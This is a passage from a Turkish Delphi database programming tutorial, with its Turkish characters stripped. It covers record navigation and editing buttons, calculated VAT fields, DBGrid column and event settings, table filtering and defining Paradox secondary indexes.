Altnc admda formunuzun zerine DataAccess yapranda yer alan DataSource nesnesinden yerletirerek DataSet zelliine Table1 deerini aktarn. Yedinci admda Table1 kontroln seip mousun sa tuuna tklayn. Alan menden Fields Editr seeneine tklayarak aadaki pencerenin almasn salayn

Bu penceredeki beyaz alan zerinde mousun sa tuuna tklayarak, alan menden Add All Fields seeneini sein. Yukardaki gibi tm stun isimleri pencerede listelenecektir (Bu ilemi stun isimlerini kullanabilelim diye yaptk. Aktif kayttaki tm stun deerleri bu deikenlerde tutulur). Dokuzuncu admda formunuza be (5) adet Edit ve be (5) adet Label kontrol yerletirerek aadaki tasarm oluturunuz.

Yukardaki tasarm oluturduktan sonra program altrld anda aktif kayttaki bilgilerin Edit kontrollerinde gzkebilmesi iin aadaki kod blounu projenize ekleyiniz. 23

procedure TForm5.FormCreate(Sender: TObject); //Satr Bilgilerini Kontrollere aktar begin Table1.Open;//Tabloyu a Edit1.Text:=Table1MAGAZAADI.Text; Edit2.Text:=Table1SERVISTARIHI.Text; Edit3.Text:=Table1GIDENFIRMA.Text; Edit4.Text:=Table1ARIZASEBEBI.Text; Edit5.Text:=Table1FATURATUTARI.Text; end; Program altrdktan sonraki ekran grnts aadaki gibi olacaktr. Edit kontrollerinin ieriklerinin dolu olduuna dikkat ediniz.

imdi formunuzun zerine bir adet Button kontrol yerletirip Caption zelliine lk Kayt yazn. Aada bu buttonun OnClick yordamna yazacanz kod verilmitir. procedure TForm5.Button1Click(Sender: TObject); //lk Kayt begin Table1.First;//ilk kayda git Edit1.Text:=Table1MAGAZAADI.Text; Edit2.Text:=Table1SERVISTARIHI.Text; Edit3.Text:=Table1GIDENFIRMA.Text; Edit4.Text:=Table1ARIZASEBEBI.Text; Edit5.Text:=Table1FATURATUTARI.Text; end; 24

imdide kinci bir Button kontrol yerletirip Caption zelliine nceki Kayt yazn. Bu buttonun OnClick yordamna yazacanz kod aada verilmitir. procedure TForm5.Button2Click(Sender: TObject); //nceki Kayt begin Table1.Prior;//nceki kayda git Edit1.Text:=Table1MAGAZAADI.Text; Edit2.Text:=Table1SERVISTARIHI.Text; Edit3.Text:=Table1GIDENFIRMA.Text; Edit4.Text:=Table1ARIZASEBEBI.Text; Edit5.Text:=Table1FATURATUTARI.Text; end; imdi nc bir Button kontrol yerletirip Caption zelliine Sonraki Kayt deerini girin. Bu kontroln OnClick yordamna ekleyeceiniz kod aada verilmitir. procedure TForm5.Button3Click(Sender: TObject); //Sonraki Kayt begin Table1.Next;//Sonraki kayda git Edit1.Text:=Table1MAGAZAADI.Text; Edit2.Text:=Table1SERVISTARIHI.Text; Edit3.Text:=Table1GIDENFIRMA.Text; Edit4.Text:=Table1ARIZASEBEBI.Text; Edit5.Text:=Table1FATURATUTARI.Text; end; imdi drdnc bir Button kontrol yerletirip Caption zelliine SonKayt deerini girin. Bu kontroln OnClick yordamna ekleyeceiniz kod aada verilmitir. procedure TForm5.Button4Click(Sender: TObject); //Son Kayt begin Table1.Last; //Son kayda git Edit1.Text:=Table1MAGAZAADI.Text; Edit2.Text:=Table1SERVISTARIHI.Text; Edit3.Text:=Table1GIDENFIRMA.Text; Edit4.Text:=Table1ARIZASEBEBI.Text; Edit5.Text:=Table1FATURATUTARI.Text; end; 25

imdi beinci bir Button kontrol yerletirip Caption zelliine Kayt Ekle deerini girin. Bu kontroln OnClick yordamna ekleyeceiniz kod aada verilmitir. procedure TForm5.Button5Click(Sender: TObject); //Kayt Ekle begin Edit1.Text:=''; Edit2.Text:=''; Edit3.Text:=''; Edit4.Text:=''; Edit5.Text:=''; Edit1.SetFocus; end; imdi altnc bir Button kontrol yerletirip Caption zelliine Kaydet deerini girin. Bu kontroln OnClick yordamna ekleyeceiniz kod aada verilmitir. procedure TForm5.Button6Click(Sender: TObject); //Kaydet begin Table1.Insert; //kayt a Table1MAGAZAADI.AsString:=Edit1.Text; Table1SERVISTARIHI.AsDateTime:=StrToDateTime(Edit2.Text); Table1GIDENFIRMA.AsString:=Edit3.Text; Table1ARIZASEBEBI.AsString:=Edit4.Text; Table1FATURATUTARI.AsCurrency:=StrToCurr(Edit5.Text); Table1.Post; //kaydet end; imdi yedinci bir Button kontrol yerletirip Caption zelliine Kayt Sil deerini girin. Bu kontroln OnClick yordamna ekleyeceiniz kod aada verilmitir. procedure TForm5.Button7Click(Sender: TObject); //Kayt Sil var mesaj:Integer; begin mesaj:=Application.MessageBox('Silmek stediinizden Eminmisiniz','Kayt Sil',MB_ICONSTOP+MB_YESNO); 26

if mesaj=mrYes Then begin Table1.Delete;//Kayd sil Edit1.Text:=Table1MAGAZAADI.Text; Edit2.Text:=Table1SERVISTARIHI.Text; Edit3.Text:=Table1GIDENFIRMA.Text; Edit4.Text:=Table1ARIZASEBEBI.Text; Edit5.Text:=Table1FATURATUTARI.Text; ShowMessage('Kayt Silindi'); end else ShowMessage('Silme lemi ptal Edildi'); end; imdi sekizinci bir Button kontrol yerletirip Caption zelliine Kayt ptal deerini girin. Bu kontroln OnClick yordamna ekleyeceiniz kod aada verilmitir. procedure TForm5.Button8Click(Sender: TObject); //Kayt ptal begin Table1.Cancel; //deiiklikleri iptal et Edit1.Text:=Table1MAGAZAADI.Text; Edit2.Text:=Table1SERVISTARIHI.Text; Edit3.Text:=Table1GIDENFIRMA.Text; Edit4.Text:=Table1ARIZASEBEBI.Text; Edit5.Text:=Table1FATURATUTARI.Text; end; imdi dokuzuncu bir Button kontrol yerletirip Caption zelliine Gncelle deerini girin. Bu kontroln OnClick yordamna ekleyeceiniz kod aada verilmitir. procedure TForm5.Button9Click(Sender: TObject); //Gncelle begin Table1.Refresh;//Gncelle Edit1.Text:=Table1MAGAZAADI.Text; Edit2.Text:=Table1SERVISTARIHI.Text; Edit3.Text:=Table1GIDENFIRMA.Text; Edit4.Text:=Table1ARIZASEBEBI.Text; Edit5.Text:=Table1FATURATUTARI.Text; end; 27

Programn tasarmna ait son grnt aadaki gibi olacaktr.

Bu rnekte tablo stunlarndaki ierikleri kontrollere aktarma ilemini tek bir prosedde tanmlayp kullanrsanz sonu ok daha teknik olacaktr. Aada tm kod verilmitir. type TForm6 = class(TForm) private procedure doldur;//Burada tanmlamay Unutmaynz. { Private declarations } public { Public declarations } end; procedure TForm6.FormCreate(Sender: TObject); begin Table1.Open;//Tabloyu A doldur;//prosedr ilet end; procedure TForm6.Button1Click(Sender: TObject); //lk Kayt begin Table1.First;//ilk kayda git doldur; end; procedure TForm6.Button2Click(Sender: TObject); //nceki Kayt 28

begin Table1.Prior;//nceki kayda git doldur; end; procedure TForm6.Button3Click(Sender: TObject); //Sonraki Kayt begin Table1.Next;//Sonraki kayda git doldur; end; procedure TForm6.Button4Click(Sender: TObject); //Son Kayt begin Table1.Last; //Son kayda git doldur; end; procedure TForm6.Button5Click(Sender: TObject); //Kayt Ekle begin Edit1.Text:=''; Edit2.Text:=''; Edit3.Text:=''; Edit4.Text:=''; Edit5.Text:=''; Edit1.SetFocus; end; procedure TForm6.Button6Click(Sender: TObject); //Kaydet begin Table1.Insert; //kayt a Table1MAGAZAADI.AsString:=Edit1.Text; Table1SERVISTARIHI.AsDateTime:=StrToDateTime(Edit2.Text); Table1GIDENFIRMA.AsString:=Edit3.Text; Table1ARIZASEBEBI.AsString:=Edit4.Text; Table1FATURATUTARI.AsCurrency:=StrToCurr(Edit5.Text); Table1.Post; //kaydet end; procedure TForm6.Button7Click(Sender: TObject); //Kayt Sil var mesaj:Integer; begin

29

mesaj:=Application.MessageBox('Silmek stediinizden Eminmisiniz','Kayt Sil',MB_ICONSTOP+MB_YESNO); if mesaj=mrYes Then begin Table1.Delete;//Aktif kayd sil doldur;//prosedr ilet ShowMessage('Kayt Silindi'); end else ShowMessage('Silme lemi ptal Edildi'); end; procedure TForm6.Button8Click(Sender: TObject); //Kayt ptal begin Table1.Cancel; //deiiklikleri iptal et Doldur;//prosedr ilet end; procedure TForm6.Button9Click(Sender: TObject); //Gncelle begin Table1.Refresh;//Gncelle doldur;//prosedr ilet end; procedure TForm6.doldur; //Stun ieriklerini Edit kontrollerine aktaran prosedr begin Edit1.Text:=Table1MAGAZAADI.Text; Edit2.Text:=Table1SERVISTARIHI.Text; Edit3.Text:=Table1GIDENFIRMA.Text; Edit4.Text:=Table1ARIZASEBEBI.Text; Edit5.Text:=Table1FATURATUTARI.Text; end; Bu rnekte doldur isimli prosedr Private veya Public ksmnda tanmlayn. Basit bir prosedr gibi tanmlarsanz Edit kontrol iin, Form1.Edit1.Text eklinde kullanlmas gerekir. Veri Tabannda Olmayan Stunlar Yaratmak: Dier stunlardan yola karak hesaplanabilen stunlar Veri Tabanna koymamak dosyanzn daha az yer tutmasn salayacaktr. ayet mecbur kalmazsanz (mecbur kalabileceiniz bir durum bilmiyorum) bu tr stunlar 30

aada gstereceim ekilde oluturunuz. Daha nce oluturduumuz tabloda ki TUTAR stununu kullanarak tabloda mevcut olmayan KDV ve TOPLAMFIYAT stunlarn oluturacaz. Aadaki admlar dikkatlice takip ediniz. Formunuzun zerine bir adet Table nesnesi yerletirerek DatabaseName zelliine tanmlam olduunuz Alias nzn ismini girin (bizim rneimizde gazi). kinci admda Table kontrolnn TableName zelliine SERVIS tablonuzun ismini aktarn. DataAccess yapranda yer alan DataSource kontrolnden bir adet formunuza srkleyin. DataSet zelliine Table1 kontroln aktarn. Drdnc admda formunuza bir adet Additional yapranda yer alan ScrollBox kontrol ekleyerek, Align zelliine alClient, BorderStyle zelliine de bsSingle deerlerini aktarn (estetik grnm iin). Beinci admda formunuza DataControls yapranda yer alan DataGrid kontrol ekleyerek DataSource zelliine DataSource1 nesnesini aktarnz. Altnc admda Table kontrolnzn Object Inspector penceresinden Active zelliini true yapn.

u aamada programnz altrrsanz yukardaki ekilde tablonuzda yer alan tm stunlar DataGrid nesnesinde listeletmi olacaksnz. Bu admdan sonra tablonuzda yer almayan KDV ile TOPLAM TUTAR stunlarn oluturmay gstereceim. Yedinci admda Table nesnesi zerine mousun sa tuuyla tklayn. Alan menden Fields Editr seeneini seiniz. Aktif beyaz pencerede mousun sa tuuna tklayarak alan menden Add All Fields seeneini tklaynz. 31

Tm stunlar ekledikten sonra tekrar mousun sa tuuna tklayn. Alan menden New Fields seeneini sein Aadaki pencere alacaktr.

Name ksmna stun balnz (KDV), Type ksmna stunun ierecei verinin tipini (Currency), Field Type ksmndan nasl bir veri olacan (dier stun kullanlarak hesaplanaca iin Calculated) sein. Component ksmn ise kendisi otomatik olarak dolduracaktr. Bu ksm deitirmenize gerek yoktur. OK Buttonuna tklayarak stunun tabloya eklenmesini salayn. Beyaz ekranda tekrar mousun sa tuuna tklayarak alan mendenNew Fields seeneini seiniz. Aadaki pencere alacaktr. Girilen deerleri aynen sizde oluturunuz.

32

Gerekli deerleri girdikten sonra OK Buttonuna tklayarak pencereyi kapatnz. Yaratlan Stun Deerlerini Tablonuzda Hesaplatmak: Eklemi olduunuz iki yeni stunun Object Inspector penceresinde bulunan FieldKind zelliklerinin fkCalculated olduunu tekrar kontrol ediniz. Aksi takdirde hesaplatma ileminiz baarszlkla sonulanacaktr. Son adm olarak aadaki kodu Table kontrolnzn OnCalcFields yordamna yazmak yeterli olacaktr. procedure TForm7.Table1CalcFields(DataSet: TDataSet); begin
Table1KDV.AsCurrency:=Table1FATURATUTARI.AsCurrency*0.15; Table1TOPLAMTUTAR.AsCurrency:=Table1FATURATUTARI.AsCurrency*1.15;

end; Bu aamadan sonra uygulamanz altrrsanz DataGrid nesnenizde iki adet yeni stunun olutuunu, bu stunlarn ieriklerini tablonuzda yer alan FATURATUTARI stununa gre hesapladklarn greceksiniz. Yeni kayt eklemeniz bu sutnlarn hesaplanmasn engellemez. Ekleyeceiniz her yeni kayt iin sonu yine otomatik olarak hesaplanacaktr. Ayn ekilde var olan bir kayt zerinde deiiklik yaparsanz sonu bu yeni stunlara da annda yansyacaktr. Programnzn en son grnts aada verilmitir. KDV ile TOPLAMTUTAR stunlarnn Veri Tabannzda var olmadna dikkatinizi ekelim.

33

DataGrid Kontrolne Ait zellikler: Kaynanzdaki kaytlar topluca kullancya gstermek iin kullanlan en popler kontrol sanyorum DataGrid nesnesidir. Bu yzden kaytlarn daha estetik ve gzel grnmesi iin yapmanz gereken bir takm ayarlar bulunmaktadr. imdi sizlere bu ayarlardan bahsetmek istiyorum. ncelikle daha nceden oluturmu olduumuz SERVIS tablosuna gerekli balantlar yapp tm kaytlarn aadaki pencerede olduu gibi DataGrid nesnesinde gsterilmesini salayn (Balant ilemleri her defasnda artk anlatlmayacaktr).

u anda DataGrid kontrol tablo ierisindeki tm kaytlar gstermektedir.

34

DataGrid Kontrolne Ait Stun Balklarn Belirlemek: Yukardaki pencereye dikkat edecek olursanz, stun balklarnz Veri Tabann da nasl belirlendiyse o ekilde gzkmektedir. Fakat bir ok durumda buradaki stun balklarnn daha deiik metinle (ksaltma yapm olabilirsiniz vs) gsterilmesi istenir. Bizde imdi yapacamz deiiklikle yeni stun balklar belirleyelim (stun balklarn DataGrid nesnesinden deitirmek veri tabannza yansmaz). DataGrid kontroln seip mousun sa tuuna tklayn. Alan menden Columns Editor seeneine tklayn Karnza aadaki pencere alacaktr.

Alan bu pencerede ilk etapta hi bir stun gzkmeyecektir. Beyaz alanda mousun sa tuuna tklayn, alan menden Add All Fields seeneini sein. Btn stunlar yukardaki pencerede olduu gibi ekrannza eklenecektir.

Bu admda sol taraftaki pencereden stunu seip Object Inspector penceresindeki Title zelliinin solundaki + iaretine tklayn. 35

Alt satrlar alan Title seeneinden Caption deerlerini tm stun balklar iin ayr ayr belirleyin. Aadaki ekran grnts stun balklarnn deitirilmi halini gstermektedir.

DataGrid Stun Balklarnn Ortalanmas: Yukardaki admlar aynen izleyerek Columns Editor penceresinin almasn salayn. Bu pencerede ortalatacanz stunu seip Object Inspector penceresinde Title zelliinin altnda yer alan (dier Alignment deil)Alignment zelliini taCenter olarak deitirin. Stun balklarnz artk ortalanm ekilde gzkecektir. Alabilecei dier seenekler aada verilmitir.
Alignment taCenter taLeftJustify taRightJustify Sonu Stun erisinde Ortalanm Stun erisinde Sola Dayal Stun erisinde Saa Dayal

36

DataGrid Stun Geniliklerini Ayarlamak: Dzgn bir grnt iin DataGrid nesnenizin stun geniliklerini en uygun boyuta getirmelisiniz. Aksi takdirde irkin bir grnm olacaktr. DataGrid nesneniz iin stun geniliklerini aadaki ekilde ayarlayabilirsiniz. Yukardaki admlar aynen izleyip Columns Editor penceresini an. Bu pencerede geniliini deitireceiniz stunu seip Object Inspector penceresinden Width zelliine uygun olan genilik miktarn girerek stun geniliklerini ayarlayabilirsiniz. DataGrid Stunlarn ReadOnly Yapmak: Bilhassa kayt ekleme veya kayt deiikliklerinin DataGrid kontrolnden yaplmasna izin verdiiniz durumlarda, kullancnn baz stun deerlerini deitirebilmesini istemeyebilirsiniz. Bu tip durumlarda o stuna salt okunur zellii vermelisiniz. Aada bu ilemi nasl yapabileceiniz aklanmaktadr. nceki uygulamada izlediiniz admlar aynen izleyerek Columns Editor penceresinin almasn salaynz. Salt okunur zellii vereceiniz stunu seip Object Inspector penceresinden ReadOnly zelliini true yapn. imdi programnz altrrsanz, dier stunlarda kolayca deiiklik yapabilmenize ramen ReadOnly zelliini true yaptnz stunda deiiklik yapamayacaksnz. DataGrid Sutununu ComboBox eklinde Kullanmak: DataGrid kontrol ierisinde kayt deiiklii veya kayt ekleme ilemi srasnda, ieriin alan bir ComBoBox kontrolnden seilebilmesini salayabilirsiniz. Aada bu ilemi nasl yapabileceiniz aklanmaktadr. Yukardaki admlar izleyerek Columns Editor penceresinin almasn salaynz. Stunlardan ComboBox gibi davranmasn istediinizi seip Object Inspector penceresinden PickList zelliine tklayn. Aadaki pencere alacaktr. Burada kayt deiiklii (veya kayt ekleme) annda seebilecei seenekleri teker teker girin. Biz rneimiz iin MAGAZAADI stununa MIGROS-DIA-GIMA-BIM-OK deerlerini girdik. Program altrdktan sonra aadaki gibi DataGrid kontrolnde yer alam MAGAZAADI stununa mous ile ift tklayn. Girmi olduunuz maazalarn isimlerinin yer ald seenekler ComboBox kontrolnde olduu gibi alan bir liste halinde karnza gelecektir. Buradan maazanz seip deiiklii gerekletirebilirsiniz. 37

Aadaki pencere PickList deerlerine maaza adlar girildikten sonra uygulamann altrlmasndan elde edilmitir.

DataGrid Kontrolne Ait Stun Balklarn Renklendirmek: DataGrid kontrolnze ait stun balklarn istediiniz ekilde renklendirebilirsiniz. Aada bu ilemi nasl yapabileceiniz aklanmtr. Yukardaki admlar izleyerek Columns Editor penceresinin almasn salayn. Bu pencerede renklendireceiniz stunu seip Title zelliinin solundaki + iaretine tklayn. Alan alt seeneklerde yer alan Color zelliinden dilediiniz rengi seebilirsiniz. DataGrid Stunlarn Renklendirmek: Kontrolde gsterilen tm stunlar farkl renklerde gsterebilirsiniz. Aada belirtilen admlar izleyin. Daha nce gsterilen ekilde Columns Editor penceresini an. Bu pencerede renklendireceiniz stunu seip Object Inspector penceresinden Color (Title yok artk) zelliine istediiniz rengi atayabilirsiniz. DataGrid Font Ayarlar: Columns Editor penceresini atktan sonra font ayarlarn deitireceiniz stunu seip Object Inspector penceresinden Font zelliinin solunda yer alan + iaretine tklayn. Alan alt seeneklerden tm font ayarlarn yapabilirsiniz.

38

DataGrid Kontrolnde e Yaramayan Stunlar Gizlemek: Baz durumlarda tablonuzda yer alan tm stunlar DataGrid nesnenizde gstermek istemeyebilirsiniz. Byle durumlarda aadaki admlar izlemelisiniz. nceki uygulamalarda gsterildii gibi Columns Editor penceresini an. Mousun sa tuuna tklayarak aacanz menden Add All Fields seeneini sein.

Sol taraftaki pencerede tm stunlar gsterimde olup. Sa taraftakinde ise ARIZASEBEBI ile SIRANO stunlar Delete tuuna baslarak pencereden silinmitir. Uygulamanz altrrsanz DataGrid kontrolnz aadaki ekilde gzkecektir.

Pencereye dikkatli baktnz zaman ARIZASEBEBI ile SIRANO stunlarnn gzkmediini greceksiniz. DataGrid kontrolnde stunlarn silinmesi tablonuzda hibir deiiklik yapmayacaktr. 39

DataGrid Kontrolnde Stun Balklarn Gizlemek: ayet stun balklarnn gsterilmesini istemiyorsanz. DataGrid kontroln seip Object Inspector penceresinde yer alan Options zelliinin solundaki + iaretine tklayn. Alan seeneklerden dgTitles zelliini false yaparsanz stun balklarnz gzkmeyecektir.

Buradaki Options zelliinden dier bir ok ayar yapabilirsiniz. Mesela dgEditing zelliini false yaparsanz, kullanc stunlardaki hi bir kayt bilgisini deitiremez. dgColLines zelliini false yaparsanz dey izgiler gzkmez. dgRowLines zelliini false yaparsanz yatay izgiler gzkmez. dgRowSelect zelliini true yaparsanz tm kayd aadaki ekilde seebilirsiniz.

Options ta yer alan tm zellikleri deneyin olduka kullanl ve sevimli zellikler olduklarn greceksiniz.

40

Aktif Kayttaki Satr ve Stun Deerlerine Ulamak: Aadaki kod blounu kullanarak bulunduunuz kaydn kanc kayt olduunu veya hangi stuna tkladnz kolayca renebilirsiniz.

type yenigrid=class(tdbgrid);//yavru grid nesnesi tretildi procedure TForm1.DBGrid1CellClick(Column: TColumn); //Herhangi bir hcreye tklanlmas durumunda otomatik olarak iler begin Label1.Caption:=Format ('Stun: %2d; Satr: %2d', [yenigrid (DbGrid1).Col,yenigrid (DbGrid1).Row]); end; DataGrid Nesnesindeki Toplam Satr Saysn Hesaplamak Aadaki ekilde kullanacanz bir kod blou sayesinde DataGrid nesnesi ierisinde yer alan satur saysn kolayca hesaplayabilirsiniz.

Programa ait kod blou aada verilmektedir. 41

type yenigrid=class(tdbgrid); procedure TForm1.DBGrid1ColEnter(Sender: TObject); //Dier bir stuna tklanlmas durumunda iler begin Form1.Caption:=Format('Toplam Kayt:%2d', [yenigrid(DBGrid1).RowCount]);//ka satr var end; DataGrid Nesnesi erisinde Sutuna Ait lem Yaptrmak: Aadaki uygulamada DataGrid ierisinde FATURATUTARI stununa ait genel toplam miktar hesaplanmaktadr.

type yenigrid=class(TDBGrid);//Yeni class tanmland procedure TForm2.Button1Click(Sender: TObject); var adet,satir,i:Integer; toplam:Double; begin Table1.Open; toplam:=0; adet:=StrToInt(Format('%2d',[yenigrid(DBGrid1).RowCount-1]));//satr says Table1.First;//ilk kayda git for i:=1 to adet do begin toplam:=toplam+DBGrid1.Fields[5].AsCurrency;//sonuca ekle Table1.Next;//sonraki kayda ge 42

end; Form2.Caption:='Toplam Fatura Tutar='+FloatToStrF(toplam,ffCurrency,14,0); end; DataGrid Nesnesine Ait Yordamlar: imdi de sizlere DataGrid nesnesine ait tetikleyicilerden bahsetmek istiyorum. OnCellClick DataGrid ierisinde herhangi bir hcreye tklanlmas durumunda otomatik olarak ileyen yordamdr.

type yenigrid=class(TDBGrid);//Yeni class tanmland procedure TForm2.DBGrid1CellClick(Column: TColumn); //Seili satr saysn bul begin DBGrid1.Options:=DBGrid1.Options+[dgMultiSelect];//birden fazla satr se Form2.Caption:=Format('Seili Satr Adedi:%2d',[yenigrid(DBGrid1).SelectedRows.Count]);//seili satr says end; Program altrp deiik hcrelere tklayn seili satr says balkta yazacaktr.

43

OnColEnter DataGrid nesnesi ierisindeki herhangi bir stunun aktifletirilmesi sonucu otomatik olarak ileyen bir yordamdr. kinci kez iletilebilmesi iin DataGrid ierisinde farkl bir stuna ait hcreye tklanlmas gerekecektir. procedure TForm2.DBGrid1ColEnter(Sender: TObject); begin ShowMessage('Yeni Bir Stuna Gei Yaptnz'); end; OnColExit DataGrid nesnesi ierisinde aktif stundan dier stuna gei annda otomatik olarak ileyen bir yordamdr. kinci kez iletilebilmesi iin baka bir stuna gei yaplmas gerekecektir. procedure TForm2.DBGrid1ColExit(Sender: TObject); begin ShowMessage('Stun Deiti'); end; OnTitleClick DataGrid nesnesine ait stun balklarna tklanlmas durumunda otomatik olarak ileyen bir yordamdr. Bu yordamda tanmlanm olan Column parametresi tklanlan kolon balna ait tm zellikleri tutabilmektedir. Aadaki uygulamada ilk sutuna ait balklara tklanld zaman, o stuna gre tabloda sralatma ilemi gerekletirilmektedir. Sralatma yaplacak olan stunlara ait index tanmlamalarnn muhakkak yaplmas gerektiinide hatrlatalm.

44

ayet SERVISTARIHI stun balna tklarsanz tablo grntnz aadaki ekilde gerekleecektir.

Uygulamaya ait kod blou aada verilmitir. procedure TForm2.DBGrid1TitleClick(Column: TColumn); begin if column.Index=0 Then//ilk stu balna tklanrsa begin table1.DefaultIndex:=true ; //primary indexe gre srala Form2.Caption:='SIRANO ya Gre Sraland'; end else if column.index=1 Then//ikinci stun balna tklanrsa begin Table1.IndexName:='MAGAZAINDEX'; //maaza adna gre srala Form2.Caption:='MAGAZAADI na Gre Sraland'; end else if column.index=2 Then//nc stn balna tklanrsa begin Table1.IndexName:='TARIHINDEX'; //servis tarihine gre srala Form2.Caption:='SERVISTARIHI ne Gre Sraland'; end; end;

45

Kayt Filtreleme lemleri: Tablonuzda bulunan tm kaytlar ile deil, iilerinden belirli zellii olan kaytlarla ilgileniyorsanz kullanacanz yntem kaytlar filtrelemek olacaktr. Query kontrol kullanarak daha gelimi tablo sorgular oluturabilirsiniz. Fakat bilhassa server-client uygulamalarnda serverin devaml sorguyla zorlanmas performansnz etkileyecektir. Onun yerine (her zaman deil) kendi lokal makinenize aldnz table nesnesini kullanarak kaytlarnz istediiniz ekilde kolayca filtreleyebilirsiniz. Bu size daha performnsl bir alma ortam yaratabilir. Aada Tablo kontrolnde yer alan kaytlar nasl filtreleyebileceiniz konusu ilenmektedir. Table1.FilterOptions Filtreleme ileminde, kk byk harf duyarllnn olup olmayacan ve alan parasna gre filtreleme yaplp yaplamayacan belirleyen zelliidir. Alabilecei deerler aada verilmitir.
FilterOptions foCaseInsensitive foNoPartialCompare Sonu Kk-Byk Harf Duyarll Yok Alan Parasna Gre Filtreleme Yaplabilir.

procedure TForm7.Edit1KeyPress(Sender: TObject; var Key: Char); begin Table1.FilterOptions:=[foCaseInsensitive];//harf duyarll yok end; Table1.Filtered Belirlenen kriterin tabloya uygulanp uygulanmayacan belirleyen zelliidir. True deerinin aktarlmas filtre kriterinin tabloya uygulanmas anlamn tamaktadr. procedure TForm7.Edit1KeyPress(Sender: TObject; var Key: Char); begin Table1.FilterOptions:=[foCaseInsensitive];//harf duyarll yok Table1.Filtered:=true;//kriteri uygula end; Bu zellie false deerinin aktarlmas tablodaki tm kaytlarn tekrar listelenmesini salayacaktr (Filtre iptal).

46

Table1.Filter Tabloya uygulanacak olan filtre kriteri bu zellikle belirlenir. Kodlamada aadaki ekilde bir blok kullanmalsnz. procedure TForm7.Edit1KeyPress(Sender: TObject; var Key: Char); begin Table1.Filter:='MAGAZAADI='+QuotedStr(Edit1.Text);//kriter end; Kriteri belirlemeniz tablonuzun filtrelenecei anlamn tamaz. Muhakkak ardndan Filtered zelliine true deerini aktarmalsnz. Yukarda anlattmz zelliklerin daha iyi bir ekilde anlalabilmesi iin olay bir rnekle pekitirelim.lk olarak formunuza bir adet Table, bir adet DataSource,bir adet DataGrid, bir adet GroupBox,bir adet Label ve bir adet Edit kontrol yerletirerek tm kaytlarn DataGrid nesnesinde gsterilmesini salayn. Amacmz sadece Edit kutusuna girdiimiz maaza ismini listelemek olacaktr.

lemin uygulan maaza adnn Edit kontrolne girildikten sonra Enter tuuna baslmasyla gerekleecektir. Aadaki kod blounu Unit pencerenize ekleyiniz. procedure TForm7.Edit1KeyPress(Sender: TObject; var Key: Char); begin if Key=#13 Then //Enter tuu tklanrsa begin Table2.FilterOptions:=[foCaseInsensitive];//harf duyarll yok 47

Table2.Filter:='MAGAZAADI='+QuotedStr(Edit1.Text);//kriter Table2.Filtered:=true; end; end;

Program altrp MAGAZA ADI n Edit kontrolne girip Enter tuuna basnz. DataGrid kontrolnzde sadece MIGROS maazalarna yaplm olan servisler listelenecektir. Aadaki kodlamada Enter tuuna basmanza gerek yoktur. Her karaktere bastnz zaman kriter yeniden denenecektir. procedure TForm7.Edit1Change(Sender: TObject); begin Table2.FilterOptions:=[foCaseInsensitive];//harf duyarll yok Table2.Filter:='MAGAZAADI='+QuotedStr(Edit1.Text);//kriter Table2.Filtered:=true; end; Projeyi altrdnz zaman maaza ismini Edit kontrolnn ierisine tamamen yazana kadar hi bir kayit DataGrid nesnesi ierisinde listelenmeyecektir. Maaza ad tamamen yazldktan sonra, o maazaya ait tm servisler DataGrid nesnesi ierisinde listelenmi olacaktr. Kodu aadaki ekilde deiirseniz gireceiniz ilk karakterlere gre filtreleme yapabilirsiniz. Burada kodu yine OnChange yordamna yazmanz gerektiini hatrlatp, kod satrlarn verelim.

48

procedure TForm7.Edit1Change(Sender: TObject); begin Table2.FilterOptions:=[foCaseInsensitive];//harf duyarll yok Table2.Filter:='MAGAZAADI='+QuotedStr(Edit1.Text+'*');//kriter Table2.Filtered:=true; end;

Prgram altrp kriter ksmnda G Harfine basarsanz G ile balayan tm Maaza servislerini listeleyebilirsiniz. kinci karakter olarak U ya basarsanz GIMA maazasda kaytlar arasnda listelenmeyecektir. Filtrelenmi Kaytlar Arasnda Gezinmek: Filtrelemi olduunuz kaytlar arasnda kolaylkla dolaabilirsiniz. Yapmanz gereken tek ey tablo nun filtreli olup olmadn kontrol etmekten ibaret olacaktr. Filtreli Kaytlarda Bir Sonrakini Git: Aadaki kodlamayla filtreli kaytlar ierisinde sonraki kayda ulaabilirsiniz. procedure TForm7.Button3Click(Sender: TObject); begin if Table2.Filtered=true Then//filtre uygulanmsa table2.FindNext;//sonraki kayda git end;

49

Filtreli Kaytlarda Bir ncekine Git: procedure TForm7.Button4Click(Sender: TObject); begin if Table2.Filtered=true Then table2.FindPrior;//bir nceki kayda git end; Filtreli Kaytlarda lk Kayda Git: procedure TForm7.Button5Click(Sender: TObject); begin if Table2.Filtered=true Then table2.FindFirst;//ilk kayda git end; Filtreli Kaytlarda Son Kayda Git: procedure TForm7.Button6Click(Sender: TObject); begin if Table2.Filtered=true Then table2.FindLast;//son kayda git end; Tarih Aralna Gre Filtre Uygulamak: Yukardaki rnekte gireceiniz iki tarih arasn da filtreleyebilirsiniz. Yanlz bu ilemi gerekletirebilmeniz iin bu stunun muhakkak Primary veya Secondary index olarak tantlm ve indexin aktifletirilmi olmas gerekmektedir. imdi sizlere Tablonuzda (SERVIS) nasl secondary index tanmlayabileceinizi gstereceim. Secondary Index Tanmlamak: Start->Programs->Borland Delphi->Database Desktop admlarn izleyin. Ardndan alan pencereden File->Open->Table diyerek daha nce kaydetmi olduunuz SERVIS tablosunu an. Yine Table->Restructure seeneklerini izleyerek tablonuzun tasarm anna ulan. imdi bu pencereyi kullanarak hem SERVISTARIHI stununu hemde FATURATUTARI stununu secondary index olarak tanmlayacaz.

50

Hatrlatalm Seconder index tanmlayabilmeniz iin Paradox ta muhakkak primary index tanmlamas yapm olmanz gerekmektedir.

Restructure Paradox penceresinde yer alan Table Properties ksmndan Secondary Indexes seeneini sein ve Define dmesine tklayn. Aadaki pencere alacaktr.

Bu pencerede SERVISTARIHI stununu seip Indexed fields listesine aktarn. Ardndan OK buttonuna tklayn. 51

Karnza aadaki pencere alacak ve sizden indexinizin ismini girmenizi isteyecektir. ndex isimlerinizi rasgele vermeyin. Daha sonra projeyi incelerken o indexin hangi stuna ait olduunu hatrlayabilesiniz.

Tekrar Define buttonuna tklayarak ayn FATURATUTARI stunu iin gerekletirin. TUTARINDEX eklinde adlandrn.

ilemleri Index in

bu sefer ismini de

